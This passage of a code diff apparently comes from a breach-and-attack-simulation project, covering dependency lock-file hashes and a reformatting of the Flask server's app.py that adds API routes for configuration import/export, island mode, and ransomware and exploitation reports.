+ "sha256:7501140f755b725495941b43347ba8a2777407fc7f250d4f5a7d2a1050ba8e82",
+ "sha256:796c9c3c79747146ebd278dbe1e5c5c05dd6b10cc3bcb8389dfdf844f3ead638",
+ "sha256:869a64f53488f40fa5b5b9dcb9e9b2962a66a87dab37790f3fcfb5144b996ef5",
+ "sha256:8963a499849a1fc54b35b1c9f162f4108017b2e6db2c46c1bed93a72262ed083",
+ "sha256:8d0a0725ad7c1a0bcd8d1b437e191107d457e2ec1084b9f190630a4fb1af78e6",
+ "sha256:900fbf7759501bc7807fd6638c947d7a831fc9fdf742dc10f02956ff7220fa90",
+ "sha256:92b017ce34b68a7d67bd6d117e6d443a9bf63a2ecf8567bb3d8c6c7bc5014465",
+ "sha256:970284a88b99673ccb2e4e334cfb38a10aab7cd44f7457564d11898a74b62d0a",
+ "sha256:972c85d205b51e30e59525694670de6a8a89691186012535f9d7dbaa230e42c3",
+ "sha256:9a1ef3b66e38ef8618ce5fdc7bea3d9f45f3624e2a66295eea5e57966c85909e",
+ "sha256:af0e781009aaf59e25c5a678122391cb0f345ac0ec272c7961dc5455e1c40066",
+ "sha256:b6d534e4b2ab35c9f93f46229363e17f63c53ad01330df9f2d6bd1187e5eaacf",
+ "sha256:b7895207b4c843c76a25ab8c1e866261bcfe27bfaa20c192de5190121770672b",
+ "sha256:c0891a6a97b09c1f3e073a890514d5012eb256845c451bd48f7968ef939bf4ae",
+ "sha256:c2723d347ab06e7ddad1a58b2a821218239249a9e4365eaff6649d31180c1669",
+ "sha256:d1f8bf7b90ba55699b3a5e44930e93ff0189aa27186e96071fac7dd0d06a1873",
+ "sha256:d1f9ce122f83b2305592c11d64f181b87153fc2c2bbd3bb4a3dde8303cfb1a6b",
+ "sha256:d314ed732c25d29775e84a960c3c60808b682c08d86602ec2c3008e1202e3bb6",
+ "sha256:d636598c8305e1f90b439dbf4f66437de4a5e3c31fdf47ad29542478c8508bbb",
+ "sha256:deee1077aae10d8fa88cb02c845cfba9b62c55e1183f52f6ae6a2df6a2187160",
+ "sha256:ebe78fe9a0e874362175b02371bdfbee64d8edc42a044253ddf4ee7d3c15212c",
+ "sha256:f030f8873312a16414c0d8e1a1ddff2d3235655a2174e3648b4fa66b3f2f1079",
+ "sha256:f0b278ce10936db1a37e6954e15a3730bea96a0997c26d7fee88e6c396c2086d",
+ "sha256:f11642dddbb0253cc8853254301b51390ba0081750a8ac03f20ea8103f0c56b6"
+ ],
+ "index": "pypi",
+ "version": "==5.5"
+ },
+ "distlib": {
+ "hashes": [
+ "sha256:106fef6dc37dd8c0e2c0a60d3fca3e77460a48907f335fa28420463a6f799736",
+ "sha256:23e223426b28491b1ced97dc3bbe183027419dfc7982b4fa2f05d5f3ff10711c"
+ ],
+ "version": "==0.3.2"
+ },
+ "dlint": {
+ "hashes": [
+ "sha256:e7297325f57e6b5318d88fba2497f9fea6830458cd5aecb36150856db010f409"
+ ],
+ "index": "pypi",
+ "version": "==0.11.0"
+ },
+ "filelock": {
+ "hashes": [
+ "sha256:18d82244ee114f543149c66a6e0c14e9c4f8a1044b5cdaadd0f82159d6a6ff59",
+ "sha256:929b7d63ec5b7d6b71b0fa5ac14e030b3f70b75747cef1b10da9b879fef15836"
+ ],
+ "version": "==3.0.12"
+ },
+ "flake8": {
+ "hashes": [
+ "sha256:12d05ab02614b6aee8df7c36b97d1a3b2372761222b19b58621355e82acddcff",
+ "sha256:78873e372b12b093da7b5e5ed302e8ad9e988b38b063b61ad937f26ca58fc5f0"
+ ],
+ "index": "pypi",
+ "version": "==3.9.0"
+ },
+ "idna": {
+ "hashes": [
+ "sha256:b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6",
+ "sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
+ "version": "==2.10"
+ },
+ "importlib-metadata": {
+ "hashes": [
+ "sha256:079ada16b7fc30dfbb5d13399a5113110dab1aa7c2bc62f66af75f0b717c8cac",
+ "sha256:9f55f560e116f8643ecf2922d9cd3e1c7e8d52e683178fecd9d08f6aa357e11e"
+ ],
+ "markers": "python_version < '3.8'",
+ "version": "==4.6.1"
+ },
+ "iniconfig": {
+ "hashes": [
+ "sha256:011e24c64b7f47f6ebd835bb12a743f2fbe9a26d4cecaa7f53bc4f35ee9da8b3",
+ "sha256:bc3af051d7d14b2ee5ef9969666def0cd1a000e121eaea580d4a313df4b37f32"
+ ],
+ "version": "==1.1.1"
+ },
+ "isort": {
+ "hashes": [
+ "sha256:0a943902919f65c5684ac4e0154b1ad4fac6dcaa5d9f3426b732f1c8b5419be6",
+ "sha256:2bb1680aad211e3c9944dbce1d4ba09a989f04e238296c87fe2139faa26d655d"
+ ],
+ "index": "pypi",
+ "version": "==5.8.0"
+ },
+ "mccabe": {
+ "hashes": [
+ "sha256:ab8a6258860da4b6677da4bd2fe5dc2c659cff31b3ee4f7f5d64e79735b80d42",
+ "sha256:dd8d182285a0fe56bace7f45b5e7d1a6ebcbf524e8f3bd87eb0f125271b8831f"
+ ],
+ "version": "==0.6.1"
+ },
+ "mongomock": {
+ "hashes": [
+ "sha256:01ce0c4eb02b2eced0a30882412444eaf6de27a90f2502bee64e04e3b8ecdc90",
+ "sha256:d9945e7c87c221aed47c6c10708376351a5f5ee48060943c56ba195be425b0dd"
+ ],
+ "index": "pypi",
+ "version": "==3.23.0"
+ },
+ "mypy-extensions": {
+ "hashes": [
+ "sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d",
+ "sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8"
+ ],
+ "version": "==0.4.3"
+ },
+ "packaging": {
+ "hashes": [
+ "sha256:7dc96269f53a4ccec5c0670940a4281106dd0bb343f47b7471f779df49c2fbe7",
+ "sha256:c86254f9220d55e31cc94d69bade760f0847da8000def4dfe1c6b872fd14ff14"
+ ],
+ "markers": "python_version >= '3.6'",
+ "version": "==21.0"
+ },
+ "pathspec": {
+ "hashes": [
+ "sha256:86379d6b86d75816baba717e64b1a3a3469deb93bb76d613c9ce79edc5cb68fd",
+ "sha256:aa0cb481c4041bf52ffa7b0d8fa6cd3e88a2ca4879c533c9153882ee2556790d"
+ ],
+ "version": "==0.8.1"
+ },
+ "pluggy": {
+ "hashes": [
+ "sha256:15b2acde666561e1298d71b523007ed7364de07029219b604cf808bfa1c765b0",
+ "sha256:966c145cd83c96502c3c3868f50408687b38434af77734af1e9ca461a4081d2d"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
+ "version": "==0.13.1"
+ },
+ "py": {
+ "hashes": [
+ "sha256:21b81bda15b66ef5e1a777a21c4dcd9c20ad3efd0b3f817e7a809035269e1bd3",
+ "sha256:3b80836aa6d1feeaa108e046da6423ab8f6ceda6468545ae8d02d9d58d18818a"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
+ "version": "==1.10.0"
+ },
+ "pycodestyle": {
+ "hashes": [
+ "sha256:514f76d918fcc0b55c6680472f0a37970994e07bbb80725808c17089be302068",
+ "sha256:c389c1d06bf7904078ca03399a4816f974a1d590090fecea0c63ec26ebaf1cef"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
+ "version": "==2.7.0"
+ },
+ "pyflakes": {
+ "hashes": [
+ "sha256:7893783d01b8a89811dd72d7dfd4d84ff098e5eed95cfa8905b22bbffe52efc3",
+ "sha256:f5bc8ecabc05bb9d291eb5203d6810b49040f6ff446a756326104746cc00c1db"
+ ],
+ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
+ "version": "==2.3.1"
+ },
+ "pyparsing": {
+ "hashes": [
+ "sha256:c203ec8783bf771a155b207279b9bccb8dea02d8f0c9e5f8ead507bc3246ecc1",
+ "sha256:ef9d7589ef3c200abe66653d3f1ab1033c3c419ae9b9bdb1240a85b024efc88b"
+ ],
+ "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'",
+ "version": "==2.4.7"
+ },
+ "pytest": {
+ "hashes": [
+ "sha256:50bcad0a0b9c5a72c8e4e7c9855a3ad496ca6a881a3641b4260605450772c54b",
+ "sha256:91ef2131a9bd6be8f76f1f08eac5c5317221d6ad1e143ae03894b862e8976890"
+ ],
+ "index": "pypi",
+ "version": "==6.2.4"
+ },
+ "pytest-cov": {
+ "hashes": [
+ "sha256:261bb9e47e65bd099c89c3edf92972865210c36813f80ede5277dceb77a4a62a",
+ "sha256:261ceeb8c227b726249b376b8526b600f38667ee314f910353fa318caa01f4d7"
+ ],
+ "index": "pypi",
+ "version": "==2.12.1"
+ },
+ "regex": {
+ "hashes": [
+ "sha256:0eb2c6e0fcec5e0f1d3bcc1133556563222a2ffd2211945d7b1480c1b1a42a6f",
+ "sha256:15dddb19823f5147e7517bb12635b3c82e6f2a3a6b696cc3e321522e8b9308ad",
+ "sha256:173bc44ff95bc1e96398c38f3629d86fa72e539c79900283afa895694229fe6a",
+ "sha256:1c78780bf46d620ff4fff40728f98b8afd8b8e35c3efd638c7df67be2d5cddbf",
+ "sha256:2366fe0479ca0e9afa534174faa2beae87847d208d457d200183f28c74eaea59",
+ "sha256:2bceeb491b38225b1fee4517107b8491ba54fba77cf22a12e996d96a3c55613d",
+ "sha256:2ddeabc7652024803666ea09f32dd1ed40a0579b6fbb2a213eba590683025895",
+ "sha256:2fe5e71e11a54e3355fa272137d521a40aace5d937d08b494bed4529964c19c4",
+ "sha256:319eb2a8d0888fa6f1d9177705f341bc9455a2c8aca130016e52c7fe8d6c37a3",
+ "sha256:3f5716923d3d0bfb27048242a6e0f14eecdb2e2a7fac47eda1d055288595f222",
+ "sha256:422dec1e7cbb2efbbe50e3f1de36b82906def93ed48da12d1714cabcd993d7f0",
+ "sha256:4c9c3155fe74269f61e27617529b7f09552fbb12e44b1189cebbdb24294e6e1c",
+ "sha256:4f64fc59fd5b10557f6cd0937e1597af022ad9b27d454e182485f1db3008f417",
+ "sha256:564a4c8a29435d1f2256ba247a0315325ea63335508ad8ed938a4f14c4116a5d",
+ "sha256:59506c6e8bd9306cd8a41511e32d16d5d1194110b8cfe5a11d102d8b63cf945d",
+ "sha256:598c0a79b4b851b922f504f9f39a863d83ebdfff787261a5ed061c21e67dd761",
+ "sha256:59c00bb8dd8775473cbfb967925ad2c3ecc8886b3b2d0c90a8e2707e06c743f0",
+ "sha256:6110bab7eab6566492618540c70edd4d2a18f40ca1d51d704f1d81c52d245026",
+ "sha256:6afe6a627888c9a6cfbb603d1d017ce204cebd589d66e0703309b8048c3b0854",
+ "sha256:791aa1b300e5b6e5d597c37c346fb4d66422178566bbb426dd87eaae475053fb",
+ "sha256:8394e266005f2d8c6f0bc6780001f7afa3ef81a7a2111fa35058ded6fce79e4d",
+ "sha256:875c355360d0f8d3d827e462b29ea7682bf52327d500a4f837e934e9e4656068",
+ "sha256:89e5528803566af4df368df2d6f503c84fbfb8249e6631c7b025fe23e6bd0cde",
+ "sha256:99d8ab206a5270c1002bfcf25c51bf329ca951e5a169f3b43214fdda1f0b5f0d",
+ "sha256:9a854b916806c7e3b40e6616ac9e85d3cdb7649d9e6590653deb5b341a736cec",
+ "sha256:b85ac458354165405c8a84725de7bbd07b00d9f72c31a60ffbf96bb38d3e25fa",
+ "sha256:bc84fb254a875a9f66616ed4538542fb7965db6356f3df571d783f7c8d256edd",
+ "sha256:c92831dac113a6e0ab28bc98f33781383fe294df1a2c3dfd1e850114da35fd5b",
+ "sha256:cbe23b323988a04c3e5b0c387fe3f8f363bf06c0680daf775875d979e376bd26",
+ "sha256:ccb3d2190476d00414aab36cca453e4596e8f70a206e2aa8db3d495a109153d2",
+ "sha256:d8bbce0c96462dbceaa7ac4a7dfbbee92745b801b24bce10a98d2f2b1ea9432f",
+ "sha256:db2b7df831c3187a37f3bb80ec095f249fa276dbe09abd3d35297fc250385694",
+ "sha256:e586f448df2bbc37dfadccdb7ccd125c62b4348cb90c10840d695592aa1b29e0",
+ "sha256:e5983c19d0beb6af88cb4d47afb92d96751fb3fa1784d8785b1cdf14c6519407",
+ "sha256:e6a1e5ca97d411a461041d057348e578dc344ecd2add3555aedba3b408c9f874",
+ "sha256:eaf58b9e30e0e546cdc3ac06cf9165a1ca5b3de8221e9df679416ca667972035",
+ "sha256:ed693137a9187052fc46eedfafdcb74e09917166362af4cc4fddc3b31560e93d",
+ "sha256:edd1a68f79b89b0c57339bce297ad5d5ffcc6ae7e1afdb10f1947706ed066c9c",
+ "sha256:f080248b3e029d052bf74a897b9d74cfb7643537fbde97fe8225a6467fb559b5",
+ "sha256:f9392a4555f3e4cb45310a65b403d86b589adc773898c25a39184b1ba4db8985",
+ "sha256:f98dc35ab9a749276f1a4a38ab3e0e2ba1662ce710f6530f5b0a6656f1c32b58"
+ ],
+ "version": "==2021.7.6"
+ },
+ "requests": {
+ "hashes": [
+ "sha256:27973dd4a904a4f13b263a19c866c13b92a39ed1c964655f025f3f8d3d75b804",
+ "sha256:c210084e36a42ae6b9219e00e48287def368a26d03a048ddad7bfee44f75871e"
+ ],
+ "index": "pypi",
+ "version": "==2.25.1"
+ },
+ "requests-mock": {
+ "hashes": [
+ "sha256:11215c6f4df72702aa357f205cf1e537cffd7392b3e787b58239bde5fb3db53b",
+ "sha256:e68f46844e4cee9d447150343c9ae875f99fa8037c6dcf5f15bf1fe9ab43d226"
+ ],
+ "index": "pypi",
+ "version": "==1.8.0"
+ },
+ "sentinels": {
+ "hashes": [
+ "sha256:7be0704d7fe1925e397e92d18669ace2f619c92b5d4eb21a89f31e026f9ff4b1"
+ ],
+ "version": "==1.0.0"
+ },
+ "six": {
+ "hashes": [
+ "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926",
+ "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"
+ ],
+ "index": "pypi",
+ "version": "==1.16.0"
+ },
+ "toml": {
+ "hashes": [
+ "sha256:806143ae5bfb6a3c6e736a764057db0e6a0e05e338b5630894a5f779cabb4f9b",
+ "sha256:b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f"
+ ],
+ "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'",
+ "version": "==0.10.2"
+ },
+ "typed-ast": {
+ "hashes": [
+ "sha256:01ae5f73431d21eead5015997ab41afa53aa1fbe252f9da060be5dad2c730ace",
+ "sha256:067a74454df670dcaa4e59349a2e5c81e567d8d65458d480a5b3dfecec08c5ff",
+ "sha256:0fb71b8c643187d7492c1f8352f2c15b4c4af3f6338f21681d3681b3dc31a266",
+ "sha256:1b3ead4a96c9101bef08f9f7d1217c096f31667617b58de957f690c92378b528",
+ "sha256:2068531575a125b87a41802130fa7e29f26c09a2833fea68d9a40cf33902eba6",
+ "sha256:209596a4ec71d990d71d5e0d312ac935d86930e6eecff6ccc7007fe54d703808",
+ "sha256:2c726c276d09fc5c414693a2de063f521052d9ea7c240ce553316f70656c84d4",
+ "sha256:398e44cd480f4d2b7ee8d98385ca104e35c81525dd98c519acff1b79bdaac363",
+ "sha256:52b1eb8c83f178ab787f3a4283f68258525f8d70f778a2f6dd54d3b5e5fb4341",
+ "sha256:5feca99c17af94057417d744607b82dd0a664fd5e4ca98061480fd8b14b18d04",
+ "sha256:7538e495704e2ccda9b234b82423a4038f324f3a10c43bc088a1636180f11a41",
+ "sha256:760ad187b1041a154f0e4d0f6aae3e40fdb51d6de16e5c99aedadd9246450e9e",
+ "sha256:777a26c84bea6cd934422ac2e3b78863a37017618b6e5c08f92ef69853e765d3",
+ "sha256:95431a26309a21874005845c21118c83991c63ea800dd44843e42a916aec5899",
+ "sha256:9ad2c92ec681e02baf81fdfa056fe0d818645efa9af1f1cd5fd6f1bd2bdfd805",
+ "sha256:9c6d1a54552b5330bc657b7ef0eae25d00ba7ffe85d9ea8ae6540d2197a3788c",
+ "sha256:aee0c1256be6c07bd3e1263ff920c325b59849dc95392a05f258bb9b259cf39c",
+ "sha256:af3d4a73793725138d6b334d9d247ce7e5f084d96284ed23f22ee626a7b88e39",
+ "sha256:b36b4f3920103a25e1d5d024d155c504080959582b928e91cb608a65c3a49e1a",
+ "sha256:b9574c6f03f685070d859e75c7f9eeca02d6933273b5e69572e5ff9d5e3931c3",
+ "sha256:bff6ad71c81b3bba8fa35f0f1921fb24ff4476235a6e94a26ada2e54370e6da7",
+ "sha256:c190f0899e9f9f8b6b7863debfb739abcb21a5c054f911ca3596d12b8a4c4c7f",
+ "sha256:c907f561b1e83e93fad565bac5ba9c22d96a54e7ea0267c708bffe863cbe4075",
+ "sha256:cae53c389825d3b46fb37538441f75d6aecc4174f615d048321b716df2757fb0",
+ "sha256:dd4a21253f42b8d2b48410cb31fe501d32f8b9fbeb1f55063ad102fe9c425e40",
+ "sha256:dde816ca9dac1d9c01dd504ea5967821606f02e510438120091b84e852367428",
+ "sha256:f2362f3cb0f3172c42938946dbc5b7843c2a28aec307c49100c8b38764eb6927",
+ "sha256:f328adcfebed9f11301eaedfa48e15bdece9b519fb27e6a8c01aa52a17ec31b3",
+ "sha256:f8afcf15cc511ada719a88e013cec87c11aff7b91f019295eb4530f96fe5ef2f",
+ "sha256:fb1bbeac803adea29cedd70781399c99138358c26d05fcbd23c13016b7f5ec65"
+ ],
+ "version": "==1.4.3"
+ },
+ "typing-extensions": {
+ "hashes": [
+ "sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497",
+ "sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342",
+ "sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84"
+ ],
+ "markers": "python_version < '3.8'",
+ "version": "==3.10.0.0"
+ },
+ "urllib3": {
+ "hashes": [
+ "sha256:8d7eaa5a82a1cac232164990f04874c594c9453ec55eef02eab885aa02fc17a2",
+ "sha256:f5321fbe4bf3fefa0efd0bfe7fb14e90909eb62a48ccda331726b4319897dd5e"
+ ],
+ "markers": "python_version != '3.4'",
+ "version": "==1.25.11"
+ },
+ "virtualenv": {
+ "hashes": [
+ "sha256:14fdf849f80dbb29a4eb6caa9875d476ee2a5cf76a5f5415fa2f1606010ab467",
+ "sha256:2b0126166ea7c9c3661f5b8e06773d28f83322de7a3ff7d06f0aed18c9de6a76"
+ ],
+ "index": "pypi",
+ "version": "==20.4.7"
+ },
+ "vulture": {
+ "hashes": [
+ "sha256:03d5a62bcbe9ceb9a9b0575f42d71a2d414070229f2e6f95fa6e7c71aaaed967",
+ "sha256:f39de5e6f1df1f70c3b50da54f1c8d494159e9ca3d01a9b89eac929600591703"
+ ],
+ "index": "pypi",
+ "version": "==2.3"
+ },
+ "zipp": {
+ "hashes": [
+ "sha256:957cfda87797e389580cb8b9e3870841ca991e2125350677b2ca83a0e99390a3",
+ "sha256:f5812b1e007e48cff63449a5e9f4e7ebea716b4111f9c4f9a645f91d579bf0c4"
+ ],
+ "markers": "python_version >= '3.6'",
+ "version": "==3.5.0"
+ }
+ }
+}
diff --git a/monkey/monkey_island/__init__.py b/monkey/monkey_island/__init__.py
index ee5b79ad0..e69de29bb 100644
--- a/monkey/monkey_island/__init__.py
+++ b/monkey/monkey_island/__init__.py
@@ -1 +0,0 @@
-__author__ = 'itay.mizeretz'
diff --git a/monkey/monkey_island/cc/__init__.py b/monkey/monkey_island/cc/__init__.py
index e593a854b..e69de29bb 100644
--- a/monkey/monkey_island/cc/__init__.py
+++ b/monkey/monkey_island/cc/__init__.py
@@ -1 +0,0 @@
-__author__ = 'Barak'
diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py
index c7fd0006f..b3254d7cb 100644
--- a/monkey/monkey_island/cc/app.py
+++ b/monkey/monkey_island/cc/app.py
@@ -7,21 +7,28 @@ from werkzeug.exceptions import NotFound
import monkey_island.cc.environment.environment_singleton as env_singleton
from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
-from monkey_island.cc.resources.test.telemetry_test import TelemetryTest
-from monkey_island.cc.resources.zero_trust.zero_trust_report import ZeroTrustReport
-from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
-from monkey_island.cc.server_utils.custom_json_encoder import CustomJSONEncoder
from monkey_island.cc.database import database, mongo
from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
from monkey_island.cc.resources.attack.attack_report import AttackReport
from monkey_island.cc.resources.auth.auth import Authenticate, init_jwt
from monkey_island.cc.resources.auth.registration import Registration
+from monkey_island.cc.resources.blackbox.clear_caches import ClearCaches
+from monkey_island.cc.resources.blackbox.log_blackbox_endpoint import LogBlackboxEndpoint
+from monkey_island.cc.resources.blackbox.monkey_blackbox_endpoint import MonkeyBlackboxEndpoint
+from monkey_island.cc.resources.blackbox.telemetry_blackbox_endpoint import (
+ TelemetryBlackboxEndpoint,
+)
from monkey_island.cc.resources.bootloader import Bootloader
from monkey_island.cc.resources.client_run import ClientRun
+from monkey_island.cc.resources.configuration_export import ConfigurationExport
+from monkey_island.cc.resources.configuration_import import ConfigurationImport
from monkey_island.cc.resources.edge import Edge
from monkey_island.cc.resources.environment import Environment
+from monkey_island.cc.resources.exploitations.manual_exploitation import ManualExploitation
+from monkey_island.cc.resources.exploitations.monkey_exploitation import MonkeyExploitation
from monkey_island.cc.resources.island_configuration import IslandConfiguration
from monkey_island.cc.resources.island_logs import IslandLog
+from monkey_island.cc.resources.island_mode import IslandMode
from monkey_island.cc.resources.local_run import LocalRun
from monkey_island.cc.resources.log import Log
from monkey_island.cc.resources.monkey import Monkey
@@ -34,38 +41,43 @@ from monkey_island.cc.resources.node import Node
from monkey_island.cc.resources.node_states import NodeStates
from monkey_island.cc.resources.pba_file_download import PBAFileDownload
from monkey_island.cc.resources.pba_file_upload import FileUpload
+from monkey_island.cc.resources.ransomware_report import RansomwareReport
from monkey_island.cc.resources.remote_run import RemoteRun
-from monkey_island.cc.resources.security_report import SecurityReport
from monkey_island.cc.resources.root import Root
+from monkey_island.cc.resources.security_report import SecurityReport
from monkey_island.cc.resources.T1216_pba_file_download import T1216PBAFileDownload
from monkey_island.cc.resources.telemetry import Telemetry
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
-from monkey_island.cc.resources.test.clear_caches import ClearCaches
-from monkey_island.cc.resources.test.log_test import LogTest
-from monkey_island.cc.resources.test.monkey_test import MonkeyTest
from monkey_island.cc.resources.version_update import VersionUpdate
from monkey_island.cc.resources.zero_trust.finding_event import ZeroTrustFindingEvent
from monkey_island.cc.resources.zero_trust.scoutsuite_auth.aws_keys import AWSKeys
from monkey_island.cc.resources.zero_trust.scoutsuite_auth.scoutsuite_auth import ScoutSuiteAuth
+from monkey_island.cc.resources.zero_trust.zero_trust_report import ZeroTrustReport
+from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
+from monkey_island.cc.server_utils.custom_json_encoder import CustomJSONEncoder
from monkey_island.cc.services.database import Database
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.services.representations import output_json
-__author__ = 'Barak'
-
-HOME_FILE = 'index.html'
+HOME_FILE = "index.html"
def serve_static_file(static_path):
- if static_path.startswith('api/'):
+ if static_path.startswith("api/"):
raise NotFound()
try:
- return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc/ui/dist'), static_path)
+ return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, "cc/ui/dist"), static_path)
except NotFound:
- # Because react uses various urls for same index page, this is probably the user's intention.
+ # Because react uses various urls for same index page, this is probably the user's
+ # intention.
if static_path == HOME_FILE:
flask_restful.abort(
- Response("Page not found. Make sure you ran the npm script and the cwd is monkey\\monkey.", 500))
+ Response(
+ "Page not found. Make sure you ran the npm script and the cwd is "
+ "monkey\\monkey.",
+ 500,
+ )
+ )
return serve_home()
@@ -74,17 +86,19 @@ def serve_home():
def init_app_config(app, mongo_url):
- app.config['MONGO_URI'] = mongo_url
+ app.config["MONGO_URI"] = mongo_url
# See https://flask-jwt-extended.readthedocs.io/en/stable/options
- app.config['JWT_ACCESS_TOKEN_EXPIRES'] = env_singleton.env.get_auth_expiration_time()
- # Invalidate the signature of JWTs if the server process restarts. This avoids the edge case of getting a JWT,
+ app.config["JWT_ACCESS_TOKEN_EXPIRES"] = env_singleton.env.get_auth_expiration_time()
+ # Invalidate the signature of JWTs if the server process restarts. This avoids the edge case
+ # of getting a JWT,
# deciding to reset credentials and then still logging in with the old JWT.
- app.config['JWT_SECRET_KEY'] = str(uuid.uuid4())
+ app.config["JWT_SECRET_KEY"] = str(uuid.uuid4())
- # By default, Flask sorts keys of JSON objects alphabetically, which messes with the ATT&CK matrix in the
+ # By default, Flask sorts keys of JSON objects alphabetically, which messes with the ATT&CK
+ # matrix in the
# configuration. See https://flask.palletsprojects.com/en/1.1.x/config/#JSON_SORT_KEYS.
- app.config['JSON_SORT_KEYS'] = False
+ app.config["JSON_SORT_KEYS"] = False
app.json_encoder = CustomJSONEncoder
@@ -97,67 +111,84 @@ def init_app_services(app):
database.init()
Database.init_db()
- # If running on AWS, this will initialize the instance data, which is used "later" in the execution of the island.
+ # If running on AWS, this will initialize the instance data, which is used "later" in the
+ # execution of the island.
RemoteRunAwsService.init()
def init_app_url_rules(app):
- app.add_url_rule('/', 'serve_home', serve_home)
- app.add_url_rule('/', 'serve_static_file', serve_static_file)
+ app.add_url_rule("/", "serve_home", serve_home)
+ app.add_url_rule("/", "serve_static_file", serve_static_file)
def init_api_resources(api):
- api.add_resource(Root, '/api')
- api.add_resource(Registration, '/api/registration')
- api.add_resource(Authenticate, '/api/auth')
- api.add_resource(Environment, '/api/environment')
- api.add_resource(Monkey, '/api/monkey', '/api/monkey/', '/api/monkey/')
- api.add_resource(Bootloader, '/api/bootloader/')
- api.add_resource(LocalRun, '/api/local-monkey', '/api/local-monkey/')
- api.add_resource(ClientRun, '/api/client-monkey', '/api/client-monkey/')
- api.add_resource(Telemetry, '/api/telemetry', '/api/telemetry/', '/api/telemetry/')
- api.add_resource(MonkeyConfiguration, '/api/configuration', '/api/configuration/')
- api.add_resource(IslandConfiguration, '/api/configuration/island', '/api/configuration/island/')
- api.add_resource(MonkeyDownload, '/api/monkey/download', '/api/monkey/download/',
- '/api/monkey/download/')
- api.add_resource(NetMap, '/api/netmap', '/api/netmap/')
- api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/')
- api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/')
- api.add_resource(NodeStates, '/api/netmap/nodeStates')
+ api.add_resource(Root, "/api")
+ api.add_resource(Registration, "/api/registration")
+ api.add_resource(Authenticate, "/api/auth")
+ api.add_resource(Environment, "/api/environment")
+ api.add_resource(Monkey, "/api/monkey", "/api/monkey/", "/api/monkey/")
+ api.add_resource(Bootloader, "/api/bootloader/")
+ api.add_resource(LocalRun, "/api/local-monkey", "/api/local-monkey/")
+ api.add_resource(ClientRun, "/api/client-monkey", "/api/client-monkey/")
+ api.add_resource(
+ Telemetry, "/api/telemetry", "/api/telemetry/", "/api/telemetry/"
+ )
- api.add_resource(SecurityReport, '/api/report/security')
- api.add_resource(ZeroTrustReport, '/api/report/zero-trust/')
- api.add_resource(AttackReport, '/api/report/attack')
+ api.add_resource(IslandMode, "/api/island-mode")
+ api.add_resource(MonkeyConfiguration, "/api/configuration", "/api/configuration/")
+ api.add_resource(IslandConfiguration, "/api/configuration/island", "/api/configuration/island/")
+ api.add_resource(ConfigurationExport, "/api/configuration/export")
+ api.add_resource(ConfigurationImport, "/api/configuration/import")
+ api.add_resource(
+ MonkeyDownload,
+ "/api/monkey/download",
+ "/api/monkey/download/",
+ "/api/monkey/download/",
+ )
+ api.add_resource(NetMap, "/api/netmap", "/api/netmap/")
+ api.add_resource(Edge, "/api/netmap/edge", "/api/netmap/edge/")
+ api.add_resource(Node, "/api/netmap/node", "/api/netmap/node/")
+ api.add_resource(NodeStates, "/api/netmap/nodeStates")
- api.add_resource(ZeroTrustFindingEvent, '/api/zero-trust/finding-event/')
- api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
- api.add_resource(Log, '/api/log', '/api/log/')
- api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
- api.add_resource(PBAFileDownload, '/api/pba/download/')
+ api.add_resource(SecurityReport, "/api/report/security")
+ api.add_resource(ZeroTrustReport, "/api/report/zero-trust/")
+ api.add_resource(AttackReport, "/api/report/attack")
+ api.add_resource(RansomwareReport, "/api/report/ransomware")
+ api.add_resource(ManualExploitation, "/api/exploitations/manual")
+ api.add_resource(MonkeyExploitation, "/api/exploitations/monkey")
+
+ api.add_resource(ZeroTrustFindingEvent, "/api/zero-trust/finding-event/")
+ api.add_resource(TelemetryFeed, "/api/telemetry-feed", "/api/telemetry-feed/")
+ api.add_resource(Log, "/api/log", "/api/log/")
+ api.add_resource(IslandLog, "/api/log/island/download", "/api/log/island/download/")
+ api.add_resource(PBAFileDownload, "/api/pba/download/")
api.add_resource(T1216PBAFileDownload, T1216_PBA_FILE_DOWNLOAD_PATH)
- api.add_resource(FileUpload, '/api/fileUpload/',
- '/api/fileUpload/?load=',
- '/api/fileUpload/?restore=')
- api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
- api.add_resource(AttackConfiguration, '/api/attack')
- api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')
